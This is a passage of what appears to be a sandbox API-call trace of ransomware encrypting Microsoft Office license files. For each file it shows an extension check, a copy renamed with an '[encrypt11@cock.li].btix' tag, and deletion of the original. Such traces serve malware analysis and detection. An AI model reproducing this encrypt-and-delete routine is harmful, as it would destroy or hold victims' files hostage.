(lpString1=".1cd", lpString2="m-ms") returned -1 [0144.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0144.038] lstrlenW (lpString=".jpg") returned 4 [0144.039] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.039] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=11219) returned 1 [0144.039] CloseHandle (hObject=0x370) returned 1 [0144.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0144.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0144.040] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.040] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0144.041] GetLastError () returned 0x0 [0144.041] ReadFile (in: hFile=0x370, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x2bd3, lpOverlapped=0x0) returned 1 [0144.043] WriteFile (in: hFile=0x568, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x2be0, lpOverlapped=0x0) returned 1 [0144.043] ReadFile (in: hFile=0x370, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.043] WriteFile (in: hFile=0x568, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x128, lpOverlapped=0x0) returned 1 [0144.044] SetEndOfFile (hFile=0x568) returned 1 [0144.044] CloseHandle (hObject=0x568) returned 1 [0144.044] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.044] SetEndOfFile (hFile=0x370) returned 1 [0144.049] CloseHandle (hObject=0x370) returned 1 [0144.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0144.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0144.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0144.050] lstrlenW (lpString=".doc") returned 4 [0144.050] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.050] lstrlenW (lpString=".docx") returned 5 [0144.050] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.050] lstrlenW (lpString=".pdf") returned 4 [0144.050] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.050] lstrlenW (lpString=".xls") returned 4 [0144.050] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.050] lstrlenW (lpString=".xlsx") returned 5 [0144.050] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.050] lstrlenW (lpString=".ppt") returned 4 [0144.050] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0144.050] lstrlenW (lpString=".zip") returned 4 [0144.050] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.050] lstrlenW (lpString=".rar") returned 4 [0144.050] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.050] lstrlenW (lpString=".bz2") returned 4 [0144.050] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.050] lstrlenW (lpString=".7z") returned 3 [0144.050] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0144.050] lstrlenW (lpString=".dbf") returned 4 [0144.050] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0144.050] lstrlenW (lpString=".1cd") returned 4 [0144.050] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0144.050] lstrlenW (lpString=".jpg") returned 4 [0144.050] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.051] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=22224) returned 1 [0144.051] CloseHandle (hObject=0x370) returned 1 [0144.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0144.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0144.051] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.052] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0144.052] GetLastError () returned 0x0 [0144.052] ReadFile (in: hFile=0x370, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x56d0, lpOverlapped=0x0) returned 1 [0144.061] WriteFile (in: hFile=0x568, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x56e0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x56e0, lpOverlapped=0x0) returned 1 [0144.062] ReadFile (in: hFile=0x370, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.062] WriteFile (in: hFile=0x568, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x12a, lpOverlapped=0x0) returned 1 [0144.062] SetEndOfFile (hFile=0x568) returned 1 [0144.062] CloseHandle (hObject=0x568) returned 1 [0144.062] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.062] SetEndOfFile (hFile=0x370) returned 1 [0144.065] CloseHandle (hObject=0x370) returned 1 [0144.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0144.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0144.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0144.271] lstrlenW (lpString=".doc") returned 4 [0144.271] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.271] lstrlenW (lpString=".docx") returned 5 [0144.271] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.271] lstrlenW (lpString=".pdf") returned 4 [0144.271] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.271] lstrlenW (lpString=".xls") returned 4 [0144.271] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.271] lstrlenW (lpString=".xlsx") returned 5 [0144.271] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.271] lstrlenW (lpString=".ppt") returned 4 [0144.271] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0144.271] lstrlenW (lpString=".zip") returned 4 [0144.271] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.271] lstrlenW (lpString=".rar") returned 4 [0144.271] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.271] lstrlenW (lpString=".bz2") returned 4 [0144.271] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.271] lstrlenW (lpString=".7z") returned 3 [0144.271] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0144.271] lstrlenW (lpString=".dbf") returned 4 [0144.271] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0144.271] lstrlenW (lpString=".1cd") returned 4 [0144.271] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0144.271] lstrlenW (lpString=".jpg") returned 4 [0144.271] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.272] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=21917) returned 1 [0144.272] CloseHandle (hObject=0x550) returned 1 [0144.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 0x220 [0144.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0144.272] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.272] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0144.273] GetLastError () returned 0x0 [0144.273] ReadFile (in: hFile=0x550, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x559d, lpOverlapped=0x0) returned 1 [0144.282] WriteFile (in: hFile=0x4a0, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x55a0, lpOverlapped=0x0) returned 1 [0144.283] ReadFile (in: hFile=0x550, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.284] WriteFile (in: hFile=0x4a0, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x118, lpOverlapped=0x0) returned 1 [0144.284] SetEndOfFile (hFile=0x4a0) returned 1 [0144.284] CloseHandle (hObject=0x4a0) returned 1 [0144.284] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.284] SetEndOfFile (hFile=0x550) returned 1 [0144.286] CloseHandle (hObject=0x550) returned 1 [0144.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 1 [0144.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0144.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0144.287] lstrlenW (lpString=".doc") returned 4 [0144.287] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.287] lstrlenW (lpString=".docx") returned 5 [0144.287] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.287] lstrlenW (lpString=".pdf") returned 4 [0144.287] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.287] lstrlenW (lpString=".xls") returned 4 [0144.287] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.287] lstrlenW (lpString=".xlsx") returned 5 [0144.287] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.287] lstrlenW (lpString=".ppt") returned 4 [0144.287] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0144.287] lstrlenW (lpString=".zip") returned 4 [0144.287] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.287] lstrlenW (lpString=".rar") returned 4 [0144.287] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.288] lstrlenW (lpString=".bz2") returned 4 [0144.288] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.288] lstrlenW (lpString=".7z") returned 3 [0144.288] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0144.288] lstrlenW (lpString=".dbf") returned 4 [0144.288] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0144.288] lstrlenW (lpString=".1cd") returned 4 [0144.288] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0144.288] lstrlenW (lpString=".jpg") returned 4 [0144.288] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.288] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=11644) returned 1 [0144.288] CloseHandle (hObject=0x550) returned 1 [0144.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 0x220 [0144.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0144.289] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.289] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0144.289] GetLastError () returned 0x0 [0144.289] ReadFile (in: hFile=0x550, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x2d7c, lpOverlapped=0x0) returned 1 [0144.310] WriteFile (in: hFile=0x4a0, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0144.311] ReadFile (in: hFile=0x550, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0144.311] WriteFile (in: hFile=0x4a0, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x11e, lpOverlapped=0x0) returned 1 [0144.311] SetEndOfFile (hFile=0x4a0) returned 1 [0144.311] CloseHandle (hObject=0x4a0) returned 1 [0144.311] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0144.311] SetEndOfFile (hFile=0x550) returned 1 [0144.313] CloseHandle (hObject=0x550) returned 1 [0144.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 1 [0144.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0144.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0144.314] lstrlenW (lpString=".doc") returned 4 [0144.314] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.314] lstrlenW (lpString=".docx") returned 5 [0144.315] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.315] lstrlenW (lpString=".pdf") returned 4 [0144.315] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.315] lstrlenW (lpString=".xls") returned 4 [0144.315] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.315] lstrlenW (lpString=".xlsx") returned 5 [0144.315] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.315] lstrlenW (lpString=".ppt") returned 4 [0144.315] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0144.315] lstrlenW (lpString=".zip") returned 4 [0144.315] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.315] lstrlenW (lpString=".rar") returned 4 [0144.315] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.315] lstrlenW (lpString=".bz2") returned 4 [0144.315] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.315] lstrlenW (lpString=".7z") returned 3 [0144.315] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0144.315] lstrlenW (lpString=".dbf") returned 4 [0144.315] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0144.315] lstrlenW (lpString=".1cd") returned 4 [0144.315] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0144.315] lstrlenW (lpString=".jpg") returned 4 [0144.315] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.316] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=21977) returned 1 [0144.316] CloseHandle (hObject=0x550) returned 1 [0144.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 0x220 [0144.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 